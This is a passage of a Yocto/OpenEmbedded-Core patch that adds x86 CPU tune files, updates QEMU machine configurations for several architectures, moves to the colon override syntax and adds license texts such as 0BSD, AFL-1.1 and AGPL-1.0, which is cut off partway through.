+DEFAULTTUNE ?= "i586-nlp-32"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/arch-x86.inc
+
+# x86 with no lock prefix
+TUNEVALID[i586-nlp] = "IA32 with Lock Prefix omitted"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586-nlp', ' -march=i586 -Wa,-momit-lock-prefix=yes', '', d)}"
+
+# Quark tune feature
+AVAILTUNES = "i586-nlp-32"
+TUNE_FEATURES:tune-i586-nlp-32 = "${TUNE_FEATURES:tune-x86} i586-nlp"
+BASE_LIB:tune-i586-nlp-32 = "lib"
+TUNE_PKGARCH:tune-i586-nlp-32 = "i586-nlp-32"
+PACKAGE_EXTRA_ARCHS:tune-i586-nlp-32 = "i586-nlp-32"
diff --git a/meta/conf/machine/include/x86/tune-i586.inc b/meta/conf/machine/include/x86/tune-i586.inc
new file mode 100644
index 0000000000..b1299e9e91
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i586.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "i586"
+
+require conf/machine/include/x86/arch-x86.inc
+
+# Extra tune features
+TUNEVALID[i586] = "Enable i586 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586', ' -march=i586', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "i586"
+TUNE_FEATURES:tune-i586 = "${TUNE_FEATURES:tune-x86} i586"
+BASE_LIB:tune-i586 = "lib"
+TUNE_PKGARCH:tune-i586 = "i586"
+PACKAGE_EXTRA_ARCHS:tune-i586 = "${PACKAGE_EXTRA_ARCHS:tune-x86} i586"
diff --git a/meta/conf/machine/include/x86/tune-i686.inc b/meta/conf/machine/include/x86/tune-i686.inc
new file mode 100644
index 0000000000..293d81e6c5
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i686.inc
@@ -0,0 +1,27 @@
+#
+# The i686 CPU family was introduced with the Intel Pentium Pro in 1995.
+# It has as required feature flags: fpu tsc cx8 cmov.
+#
+# It is the minimum CPU required by the Debian i386 port.
+# https://lists.debian.org/debian-devel-announce/2016/05/msg00001.html
+#
+#
+
+DEFAULTTUNE ?= "i686"
+
+# Set x86 target arch to i686, so that glibc enables SSE optimised memcpy, etc.
+X86ARCH32 ?= "i686"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-i586.inc
+
+# Extra tune features
+TUNEVALID[i686] = "Enable i686 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i686', ' -march=i686', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "i686"
+TUNE_FEATURES:tune-i686 = "${TUNE_FEATURES:tune-x86} i686"
+BASE_LIB:tune-i686 = "lib"
+TUNE_PKGARCH:tune-i686 = "i686"
+PACKAGE_EXTRA_ARCHS:tune-i686 = "${PACKAGE_EXTRA_ARCHS:tune-i586} i686"
diff --git a/meta/conf/machine/include/x86-base.inc b/meta/conf/machine/include/x86/x86-base.inc
index 0227f3c289..b70924f7d9 100644
--- a/meta/conf/machine/include/x86-base.inc
+++ b/meta/conf/machine/include/x86/x86-base.inc
@@ -8,7 +8,7 @@
MACHINE_FEATURES += "screen keyboard pci usbhost ext2 ext3 x86 \
acpi serial usbgadget alsa"
-IMAGE_FSTYPES ?= "hddimg"
+IMAGE_FSTYPES ?= "wic"
KERNEL_IMAGETYPE ?= "bzImage"
@@ -18,7 +18,7 @@ SERIAL_CONSOLES ?= "115200;ttyS0"
# kernel-related variables
#
PREFERRED_PROVIDER_virtual/kernel ??= "linux-yocto"
-PREFERRED_VERSION_linux-yocto ??= "5.2%"
+PREFERRED_VERSION_linux-yocto ??= "5.15%"
#
# XSERVER subcomponents, used to build the XSERVER variable
@@ -36,7 +36,7 @@ XSERVER_X86_I915 = "xf86-video-intel \
"
XSERVER_X86_I965 = "xf86-video-intel \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-i965', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-crocus', '', d)} \
"
XSERVER_X86_VESA = "xf86-video-vesa"
diff --git a/meta/conf/machine/qemuarm.conf b/meta/conf/machine/qemuarm.conf
index 26f40b1419..1bd4e3e154 100644
--- a/meta/conf/machine/qemuarm.conf
+++ b/meta/conf/machine/qemuarm.conf
@@ -2,24 +2,26 @@
#@NAME: QEMU Arm Cortex-A15 machine
#@DESCRIPTION: Machine configuration for running an ARMv7 system on QEMU
-require conf/machine/include/tune-cortexa15.inc
+require conf/machine/include/arm/armv7a/tune-cortexa15.inc
require conf/machine/include/qemu.inc
KERNEL_IMAGETYPE = "zImage"
+UBOOT_MACHINE ?= "qemu_arm_defconfig"
+
SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;hvc0"
+SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-arm"
-QB_MACHINE = "-machine virt"
+QB_MACHINE = "-machine virt,highmem=off"
QB_CPU = "-cpu cortex-a15"
+QB_SMP = "-smp 4"
# Standard Serial console
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0"
+QB_KERNEL_CMDLINE_APPEND = "vmalloc=256"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND = "-show-cursor -device VGA,edid=on"
-QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
-# Add the virtio RNG
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
# Virtio Networking support
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
@@ -29,4 +31,4 @@ QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio
QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
QB_TCPSERIAL_OPT = "-device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
-KMACHINE_qemuarm = "qemuarma15"
+KMACHINE:qemuarm = "qemuarma15"
diff --git a/meta/conf/machine/qemuarm64.conf b/meta/conf/machine/qemuarm64.conf
index ec2a887bdd..f245152168 100644
--- a/meta/conf/machine/qemuarm64.conf
+++ b/meta/conf/machine/qemuarm64.conf
@@ -2,25 +2,25 @@
#@NAME: QEMU ARMv8 machine
#@DESCRIPTION: Machine configuration for running an ARMv8 system on QEMU
-require conf/machine/include/arm/arch-armv8a.inc
+require conf/machine/include/arm/armv8a/tune-cortexa57.inc
require conf/machine/include/qemu.inc
KERNEL_IMAGETYPE = "Image"
+UBOOT_MACHINE ?= "qemu_arm64_defconfig"
+
SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;hvc0"
+SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-aarch64"
QB_MACHINE = "-machine virt"
QB_CPU = "-cpu cortex-a57"
-QB_CPU_KVM = "-cpu host"
-# Standard Serial console
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0"
+QB_SMP = "-smp 4"
+QB_CPU_KVM = "-cpu host -machine gic-version=3"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND = "-show-cursor -device VGA,edid=on"
-QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
# Virtio Networking support
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
diff --git a/meta/conf/machine/qemuarmv5.conf b/meta/conf/machine/qemuarmv5.conf
index fb4789fdac..2dad504c99 100644
--- a/meta/conf/machine/qemuarmv5.conf
+++ b/meta/conf/machine/qemuarmv5.conf
@@ -3,8 +3,7 @@
#@DESCRIPTION: Machine configuration for running an ARMv5 system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-arm926ejs.inc
-#require conf/machine/include/tune-arm1136jf-s.inc
+require conf/machine/include/arm/armv5/tune-arm926ejs.inc
KERNEL_IMAGETYPE = "zImage"
@@ -13,11 +12,10 @@ SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;ttyAMA1"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-arm"
QB_MACHINE = "-machine versatilepb"
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0,115200 console=tty"
-QB_OPT_APPEND = "-show-cursor -usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
-PREFERRED_VERSION_linux-yocto ??= "5.2%"
+QB_KERNEL_CMDLINE_APPEND = "vmalloc=256"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
+PREFERRED_VERSION_linux-yocto ??= "5.15%"
QB_DTB = "${@oe.utils.version_less_or_equal('PREFERRED_VERSION_linux-yocto', '4.7', '', 'zImage-versatile-pb.dtb', d)}"
-KMACHINE_qemuarmv5 = "qemuarm"
+KMACHINE:qemuarmv5 = "qemuarm"
diff --git a/meta/conf/machine/qemumips.conf b/meta/conf/machine/qemumips.conf
index 31ad754483..1cf21b92fe 100644
--- a/meta/conf/machine/qemumips.conf
+++ b/meta/conf/machine/qemumips.conf
@@ -3,12 +3,16 @@
#@DESCRIPTION: Machine configuration for running a MIPS system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-mips32r2.inc
-require conf/machine/include/qemuboot-mips.inc
+require conf/machine/include/mips/tune-mips32r2.inc
+require conf/machine/include/mips/qemuboot-mips.inc
KERNEL_IMAGETYPE = "vmlinux"
KERNEL_ALT_IMAGETYPE = "vmlinux.bin"
+UBOOT_MACHINE ?= "malta_defconfig"
+
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyS1"
QB_SYSTEM_NAME = "qemu-system-mips"
+
+QB_CPU = "-cpu 34Kf"
diff --git a/meta/conf/machine/qemumips64.conf b/meta/conf/machine/qemumips64.conf
index 6d5174665f..32351f993e 100644
--- a/meta/conf/machine/qemumips64.conf
+++ b/meta/conf/machine/qemumips64.conf
@@ -3,14 +3,16 @@
#@DESCRIPTION: Machine configuration for running a MIPS64 system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-mips64r2.inc
-require conf/machine/include/qemuboot-mips.inc
+require conf/machine/include/mips/tune-mips64r2.inc
+require conf/machine/include/mips/qemuboot-mips.inc
QB_CPU = "-cpu MIPS64R2-generic"
KERNEL_IMAGETYPE = "vmlinux"
KERNEL_ALT_IMAGETYPE = "vmlinux.bin"
+UBOOT_MACHINE ?= "malta64_defconfig"
+
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyS1"
QB_SYSTEM_NAME = "qemu-system-mips64"
diff --git a/meta/conf/machine/qemuppc.conf b/meta/conf/machine/qemuppc.conf
index bd88eeb12a..bab06e292e 100644
--- a/meta/conf/machine/qemuppc.conf
+++ b/meta/conf/machine/qemuppc.conf
@@ -3,7 +3,7 @@
#@DESCRIPTION: Machine configuration for running a PPC system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-ppc7400.inc
+require conf/machine/include/powerpc/tune-ppc7400.inc
TARGET_CC_KERNEL_ARCH = "-mno-spe"
@@ -16,7 +16,5 @@ QB_SYSTEM_NAME = "qemu-system-ppc"
QB_MACHINE = "-machine mac99"
QB_CPU = "-cpu G4"
QB_KERNEL_CMDLINE_APPEND = "console=tty console=ttyS0"
-QB_OPT_APPEND = "-show-cursor -usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_OPT_APPEND = "-usb -device usb-tablet"
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
diff --git a/meta/conf/machine/qemuppc64.conf b/meta/conf/machine/qemuppc64.conf
new file mode 100644
index 0000000000..304f06a30d
--- /dev/null
+++ b/meta/conf/machine/qemuppc64.conf
@@ -0,0 +1,22 @@
+#@TYPE: Machine
+#@NAME: QEMU PPC64 machine
+#@DESCRIPTION: Machine configuration for running a PPC system on QEMU
+
+require conf/machine/include/qemu.inc
+require conf/machine/include/powerpc/tune-power9.inc
+
+KERNEL_IMAGETYPE = "vmlinux"
+
+SERIAL_CONSOLES ?= "115200;hvc0"
+
+# For runqemu
+QB_SYSTEM_NAME = "qemu-system-ppc64"
+QB_MACHINE = "-machine pseries"
+QB_CPU = "-cpu POWER9"
+QB_SMP = "-smp 2"
+
+QB_KERNEL_CMDLINE_APPEND = "console=hvc0 nohugevmalloc"
+#QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
+MACHINE_EXTRA_RRECOMMENDS += " kernel-modules"
diff --git a/meta/conf/machine/qemuriscv32.conf b/meta/conf/machine/qemuriscv32.conf
new file mode 100644
index 0000000000..d3858dc051
--- /dev/null
+++ b/meta/conf/machine/qemuriscv32.conf
@@ -0,0 +1,16 @@
+#@TYPE: Machine
+#@NAME: generic riscv32 machine
+#@DESCRIPTION: Machine configuration for running a generic riscv32
+
+require conf/machine/include/riscv/qemuriscv.inc
+
+DEFAULTTUNE = "riscv32"
+
+PREFERRED_VERSION_openocd-native = "riscv"
+PREFERRED_VERSION_openocd = "riscv"
+
+XVISOR_PLAT = "riscv/virt32"
+
+EXTRA_IMAGEDEPENDS += "u-boot"
+UBOOT_MACHINE = "qemu-riscv32_smode_defconfig"
+UBOOT_ELF = "u-boot"
diff --git a/meta/conf/machine/qemuriscv64.conf b/meta/conf/machine/qemuriscv64.conf
index b45fdd556d..a753af0576 100644
--- a/meta/conf/machine/qemuriscv64.conf
+++ b/meta/conf/machine/qemuriscv64.conf
@@ -4,6 +4,8 @@
require conf/machine/include/riscv/qemuriscv.inc
+XVISOR_PLAT = "riscv/virt64"
+
EXTRA_IMAGEDEPENDS += "u-boot"
UBOOT_MACHINE = "qemu-riscv64_smode_defconfig"
UBOOT_ELF = "u-boot"
diff --git a/meta/conf/machine/qemux86-64.conf b/meta/conf/machine/qemux86-64.conf
index 648cf2fe8f..901353499c 100644
--- a/meta/conf/machine/qemux86-64.conf
+++ b/meta/conf/machine/qemux86-64.conf
@@ -6,11 +6,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
require conf/machine/include/qemu.inc
DEFAULTTUNE ?= "core2-64"
-require conf/machine/include/tune-core2.inc
-require conf/machine/include/qemuboot-x86.inc
+require conf/machine/include/x86/tune-core2.inc
+require conf/machine/include/x86/qemuboot-x86.inc
UBOOT_MACHINE ?= "qemu-x86_64_defconfig"
@@ -37,10 +38,6 @@ MACHINE_ESSENTIAL_EXTRA_RDEPENDS += "v86d"
MACHINE_EXTRA_RRECOMMENDS = "kernel-module-snd-ens1370 kernel-module-snd-rawmidi"
-KERNEL_MODULE_AUTOLOAD += "uvesafb"
-KERNEL_MODULE_PROBECONF += "uvesafb"
-module_conf_uvesafb = "options uvesafb mode_option=${UVESA_MODE}"
-
WKS_FILE ?= "qemux86-directdisk.wks"
do_image_wic[depends] += "syslinux:do_populate_sysroot syslinux-native:do_populate_sysroot mtools-native:do_populate_sysroot dosfstools-native:do_populate_sysroot"
diff --git a/meta/conf/machine/qemux86.conf b/meta/conf/machine/qemux86.conf
index 8e0da82076..1e072e1ae2 100644
--- a/meta/conf/machine/qemux86.conf
+++ b/meta/conf/machine/qemux86.conf
@@ -6,11 +6,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
require conf/machine/include/qemu.inc
DEFAULTTUNE ?= "core2-32"
-require conf/machine/include/tune-corei7.inc
-require conf/machine/include/qemuboot-x86.inc
+require conf/machine/include/x86/tune-corei7.inc
+require conf/machine/include/x86/qemuboot-x86.inc
UBOOT_MACHINE ?= "qemu-x86_defconfig"
@@ -34,10 +35,6 @@ MACHINE_ESSENTIAL_EXTRA_RDEPENDS += "v86d"
MACHINE_EXTRA_RRECOMMENDS = "kernel-module-snd-ens1370 kernel-module-snd-rawmidi"
-KERNEL_MODULE_AUTOLOAD += "uvesafb"
-KERNEL_MODULE_PROBECONF += "uvesafb"
-module_conf_uvesafb = "options uvesafb mode_option=${UVESA_MODE}"
-
WKS_FILE ?= "qemux86-directdisk.wks"
do_image_wic[depends] += "syslinux:do_populate_sysroot syslinux-native:do_populate_sysroot mtools-native:do_populate_sysroot dosfstools-native:do_populate_sysroot"
diff --git a/meta/conf/multilib.conf b/meta/conf/multilib.conf
index cfed3fbbd0..7f3b9463ef 100644
--- a/meta/conf/multilib.conf
+++ b/meta/conf/multilib.conf
@@ -1,5 +1,5 @@
-baselib = "${@d.getVar('BASE_LIB_tune-' + (d.getVar('DEFAULTTUNE') or 'INVALID')) or d.getVar('BASELIB')}"
+baselib = "${@d.getVar('BASE_LIB:tune-' + (d.getVar('DEFAULTTUNE') or 'INVALID')) or d.getVar('BASELIB')}"
MULTILIB_VARIANTS = "${@extend_variants(d,'MULTILIBS','multilib')}"
MULTILIB_SAVE_VARNAME = "DEFAULTTUNE TARGET_ARCH TARGET_SYS TARGET_VENDOR"
@@ -9,14 +9,17 @@ MULTILIBS ??= "multilib:lib32"
STAGING_DIR_HOST = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
STAGING_DIR_TARGET = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
RECIPE_SYSROOT = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
+RECIPE_SYSROOT:class-native = "${WORKDIR}/recipe-sysroot"
+
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/${MLPREFIX}recipe-sysroot"
INHERIT += "multilib_global"
-BBCLASSEXTEND_append = " ${MULTILIBS}"
+BBCLASSEXTEND:append = " ${MULTILIBS}"
MULTILIB_GLOBAL_VARIANTS ?= "lib32 lib64 libx32"
-OPKG_ARGS_append = " --force-maintainer --force-overwrite"
+OPKG_ARGS:append = " --force-maintainer --force-overwrite"
# When multilib is enabled, allarch recipes will be installed into the MACHINE
# sysroot, not MLPREFIXMACHINE. This means that anything using pkg-config to
@@ -29,4 +32,4 @@ PKG_CONFIG_PATH[vardepvalueexclude] = ":${WORKDIR}/recipe-sysroot/${datadir}/pkg
# These recipes don't need multilib variants, the ${BPN} PROVDES/RPROVDES
# ${MLPREFIX}${BPN}
-NON_MULTILIB_RECIPES = "grub grub-efi make-mod-scripts ovmf"
+NON_MULTILIB_RECIPES = "grub grub-efi make-mod-scripts ovmf u-boot"
diff --git a/meta/conf/sanity.conf b/meta/conf/sanity.conf
index 8b2f655394..e6cb2b45fe 100644
--- a/meta/conf/sanity.conf
+++ b/meta/conf/sanity.conf
@@ -3,12 +3,12 @@
# See sanity.bbclass
#
# Expert users can confirm their sanity with "touch conf/sanity.conf"
-BB_MIN_VERSION = "1.43.2"
+BB_MIN_VERSION = "1.53.1"
SANITY_ABIFILE = "${TMPDIR}/abi_version"
SANITY_VERSION ?= "1"
-LOCALCONF_VERSION ?= "1"
+LOCALCONF_VERSION ?= "2"
LAYER_CONF_VERSION ?= "7"
SITE_CONF_VERSION ?= "1"
diff --git a/meta/files/common-licenses/0BSD b/meta/files/common-licenses/0BSD
new file mode 100644
index 0000000000..0b8ae762b2
--- /dev/null
+++ b/meta/files/common-licenses/0BSD
@@ -0,0 +1,5 @@
+Copyright (C) YEAR by AUTHOR EMAIL
+
+Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/ADSL b/meta/files/common-licenses/ADSL
new file mode 100644
index 0000000000..dc509208cc
--- /dev/null
+++ b/meta/files/common-licenses/ADSL
@@ -0,0 +1 @@
+This software code is made available "AS IS" without warranties of any kind. You may copy, display, modify and redistribute the software code either by itself or as incorporated into your code; provided that you do not remove any proprietary notices. Your use of this software code is at your own risk and you waive any claim against Amazon Digital Services, Inc. or its affiliates with respect to your use of this software code. (c) 2006 Amazon Digital Services, Inc. or its affiliates.
diff --git a/meta/files/common-licenses/AFL-1.1 b/meta/files/common-licenses/AFL-1.1
new file mode 100644
index 0000000000..446c0aca44
--- /dev/null
+++ b/meta/files/common-licenses/AFL-1.1
@@ -0,0 +1,27 @@
+Academic Free License
+Version 1.1
+
+The Academic Free License applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ "Licensed under the Academic Free License version 1.1."
+
+Grant of License. Licensor hereby grants to any person obtaining a copy of the Original Work ("You") a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license
+
+(1) to use, copy, modify, merge, publish, perform, distribute and/or sell copies of the Original Work and derivative works thereof, and
+
+(2) under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, to make, use, sell and offer for sale the Original Work and derivative works thereof, subject to the following conditions.
+
+ Right of Attribution. Redistributions of the Original Work must reproduce all copyright notices in the Original Work as furnished by the Licensor, both in the Original Work itself and in any documentation and/or other materials provided with the distribution of the Original Work in executable form.
+
+ Exclusions from License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior written permission of the Licensor.
+
+WARRANTY AND DISCLAIMERS. LICENSOR WARRANTS THAT THE COPYRIGHT IN AND TO THE ORIGINAL WORK IS OWNED BY THE LICENSOR OR THAT THE ORIGINAL WORK IS DISTRIBUTED BY LICENSOR UNDER A VALID CURRENT LICENSE FROM THE COPYRIGHT OWNER. EXCEPT AS EXPRESSLY STATED IN THE IMMEDIATELY PRECEEDING SENTENCE, THE ORIGINAL WORK IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, THE WARRANTY OF NON-INFRINGEMENT AND WARRANTIES THAT THE ORIGINAL WORK IS MERCHANTABLE OR FIT FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO LICENSE TO ORIGINAL WORK IS GRANTED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR BE LIABLE TO ANY PERSON FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER ARISING AS A RESULT OF THIS LICENSE OR THE USE OF THE ORIGINAL WORK INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PERSON SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+License to Source Code. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to access and modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+Mutual Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License if You file a lawsuit in any court alleging that any OSI Certified open source software that is licensed under any license containing this "Mutual Termination for Patent Action" clause infringes any patent claims that are essential to use that software.
+
+This license is Copyright (C) 2002 Lawrence E. Rosen. All rights reserved.
+Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/AGPL-1.0-only b/meta/files/common-licenses/AGPL-1.0-only
new file mode 100644
index 0000000000..a00f82e601
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-1.0-only
@@ -0,0 +1,86 @@
+AFFERO GENERAL PUBLIC LICENSE
+Version 1, March 2002 Copyright © 2002 Affero Inc. 510 Third Street - Suite 225, San Francisco, CA 94107, USA
+
+This license is a modified version of the GNU General Public License copyright (C) 1989, 1991 Free Software Foundation, Inc. made with their permission. Section 2(d) has been added to cover use of software over a computer network.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the Affero General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This Public License applies to most of Affero's software and to any other program whose authors commit to using it. (Some other Affero software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. This General Public License is designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this Affero General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+ b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
